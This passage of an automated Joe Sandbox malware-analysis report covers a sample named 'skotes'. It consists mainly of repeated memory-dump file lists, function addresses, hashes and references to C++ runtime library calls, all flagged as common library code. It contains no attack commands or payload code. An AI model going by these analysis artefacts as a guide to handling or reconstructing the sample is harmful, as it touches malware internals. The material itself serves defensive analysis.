Associated: 00000006.00000002.3088090474.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088327265.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088547471.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088775084.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088921987.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089073659.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089216963.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089363299.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089544248.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089696078.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089852145.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089998884.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090182033.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090299844.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090410765.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090555746.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090637148.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090781170.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090931611.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091108208.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091258342.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091378336.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091544868.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091666052.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091784196.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091954295.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092451699.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092566644.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092650705.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092769210.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092893403.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093054410.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093185959.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$LockNodeNode::Queue$Concurrency::critical_section::_Concurrency::critical_section::unlockNextWait$Acquire_lockBase::BlockConcurrency::Concurrency::critical_section::lockConcurrency::details::_ContextContext::CurrentDerefLock::_ReaderSchedulerScoped_lockScoped_lock::~_Switch_to_activeTimerWriter
String ID:
API String ID: 811866635-0
Opcode ID: eb462e00c3f0b9f98b11ba1328f92667370b9c0c63487080e300b553063e4c6c
Instruction ID: a521f3ba986f5f5628235c58fd6a9990050d9c22ac55fd2c1110eeb4cb308632
Opcode Fuzzy Hash: eb462e00c3f0b9f98b11ba1328f92667370b9c0c63487080e300b553063e4c6c
Instruction Fuzzy Hash: 95E04F34900615BBCB04FB20E4555EDBF61FF84360B148319E465572E2CF346E86CBB5

Function 00D3FCC0 Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 322COMMONLIBRARYCODE

Download Yara Rule

APIs

__fassign.LIBCMT ref: 00D3FEE7
__fassign.LIBCMT ref: 00D3FF04

Strings

?]&$, xrefs: 00D3FCCB

Memory Dump Source

Source File: 00000006.00000002.3084430816.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000006.00000002.3083329281.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3084430816.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085169261.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085259886.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085310919.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085364751.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085410045.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085591105.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085636387.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085693354.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085740035.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086342475.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088090474.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088327265.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088547471.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088775084.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088921987.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089073659.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089216963.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089363299.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089544248.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089696078.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089852145.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089998884.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090182033.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090299844.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090410765.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090555746.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090637148.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090781170.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090931611.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091108208.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091258342.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091378336.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091544868.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091666052.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091784196.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091954295.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092451699.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092566644.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092650705.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092769210.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092893403.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093054410.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093185959.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: __fassign
String ID: ?]&$
API String ID: 3965848254-313912829
Opcode ID: ef3ec002abbf24c41d26ff0e0d6b34ceb2ce7b3df50deff700402b8b1007f8cf
Instruction ID: 095ed7497fbb22b73500b6690289f68329fb27e63596ee3472b927a53f263aa5
Opcode Fuzzy Hash: ef3ec002abbf24c41d26ff0e0d6b34ceb2ce7b3df50deff700402b8b1007f8cf
Instruction Fuzzy Hash: 26C18871D0025C9FCB15CFA8C980AEDBBB5EF49314F28016AE955FB342D631AE46CB60

Function 00D026B0 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 207COMMONLIBRARYCODE

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00D02846
___std_exception_destroy.LIBVCRUNTIME ref: 00D028E0

Strings

?]&$, xrefs: 00D026D8

Memory Dump Source

Source File: 00000006.00000002.3084430816.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000006.00000002.3083329281.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3084430816.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085169261.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085259886.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085310919.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085364751.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085410045.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085591105.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085636387.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085693354.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085740035.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086342475.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088090474.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088327265.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088547471.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088775084.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088921987.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089073659.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089216963.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089363299.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089544248.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089696078.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089852145.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089998884.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090182033.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090299844.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090410765.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090555746.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090637148.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090781170.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090931611.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091108208.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091258342.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091378336.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091544868.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091666052.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091784196.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091954295.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092451699.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092566644.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092650705.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092769210.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092893403.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093054410.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093185959.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy___std_exception_destroy
String ID: ?]&$
API String ID: 2970364248-313912829
Opcode ID: 4dd8ad15fffc782a7a8ee3f9522dd6ffa58935d063248324924c2c375c20359c
Instruction ID: c13dd4894cb54c7d8d8051661021c61c56a5db46f189891eb4b6f765bba332cc
Opcode Fuzzy Hash: 4dd8ad15fffc782a7a8ee3f9522dd6ffa58935d063248324924c2c375c20359c
Instruction Fuzzy Hash: 65718071E002489BDB05CFA8D885BEDFBB5EF49310F14811DE819A7281EB74A984CBB5

Function 00D0DBE0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 189COMMON

Download Yara Rule

Strings

list too long, xrefs: 00D0E09D
?]&$, xrefs: 00D0DBE6, 00D0DD2F

Memory Dump Source

Source File: 00000006.00000002.3084430816.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000006.00000002.3083329281.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3084430816.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085169261.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085259886.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085310919.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085364751.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085410045.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085591105.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085636387.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085693354.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085740035.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086342475.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088090474.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088327265.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088547471.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088775084.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088921987.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089073659.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089216963.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089363299.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089544248.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089696078.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089852145.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089998884.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090182033.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090299844.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090410765.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090555746.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090637148.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090781170.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090931611.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091108208.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091258342.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091378336.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091544868.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091666052.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091784196.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091954295.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092451699.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092566644.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092650705.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092769210.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092893403.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093054410.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093185959.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: ?]&$$list too long
API String ID: 0-1686277927
Opcode ID: ba0c5aae4d5b58265377b7d1fa4a26e5324906d994f775953afcb4f92090f7cd
Instruction ID: 1921b567cb6d0497435f6467c96b6d39574b332e78992b0c1adb7de2befd3739
Opcode Fuzzy Hash: ba0c5aae4d5b58265377b7d1fa4a26e5324906d994f775953afcb4f92090f7cd
Instruction Fuzzy Hash: 3661B4B0D54318AFDB20DF64DC86B99B7B4EF04700F0455AAE80DA7281EB71AA84CF71

Function 00D17A00 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 123COMMONLIBRARYCODE

Download Yara Rule

APIs

__Cnd_destroy_in_situ.LIBCPMT ref: 00D17AF8
__Mtx_destroy_in_situ.LIBCPMT ref: 00D17B01

Strings

?]&$, xrefs: 00D17A09, 00D17A9B

Memory Dump Source

Source File: 00000006.00000002.3084430816.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000006.00000002.3083329281.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3084430816.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085169261.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085259886.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085310919.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085364751.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085410045.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085591105.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085636387.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085693354.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085740035.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086342475.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088090474.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088327265.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088547471.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088775084.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088921987.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089073659.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089216963.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089363299.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089544248.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089696078.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089852145.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089998884.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090182033.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090299844.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090410765.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090555746.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090637148.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090781170.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090931611.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091108208.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091258342.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091378336.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091544868.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091666052.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091784196.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091954295.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092451699.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092566644.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092650705.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092769210.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092893403.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093054410.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093185959.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: Cnd_destroy_in_situMtx_destroy_in_situ
String ID: ?]&$
API String ID: 1432671424-313912829
Opcode ID: 8b3d98105516639b53452a6d77db295e381dc90c5f29bab3c4daa82e21e1c39f
Instruction ID: 8eb22880174ebe83b991baaf172f47e6be29e839433423cc47c3faa345f9a9f7
Opcode Fuzzy Hash: 8b3d98105516639b53452a6d77db295e381dc90c5f29bab3c4daa82e21e1c39f
Instruction Fuzzy Hash: 6631D6B1A04304AFD720DF68E841A9AB7F8EF14310F14062EE949C3251EB71EA9487B1

Function 00D1A550 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 104COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00D1A5C1
__Mtx_unlock.LIBCPMT ref: 00D1A60B

Strings

?]&$, xrefs: 00D1A587

Memory Dump Source

Source File: 00000006.00000002.3084430816.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000006.00000002.3083329281.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3084430816.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085169261.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085259886.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085310919.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085364751.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085410045.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
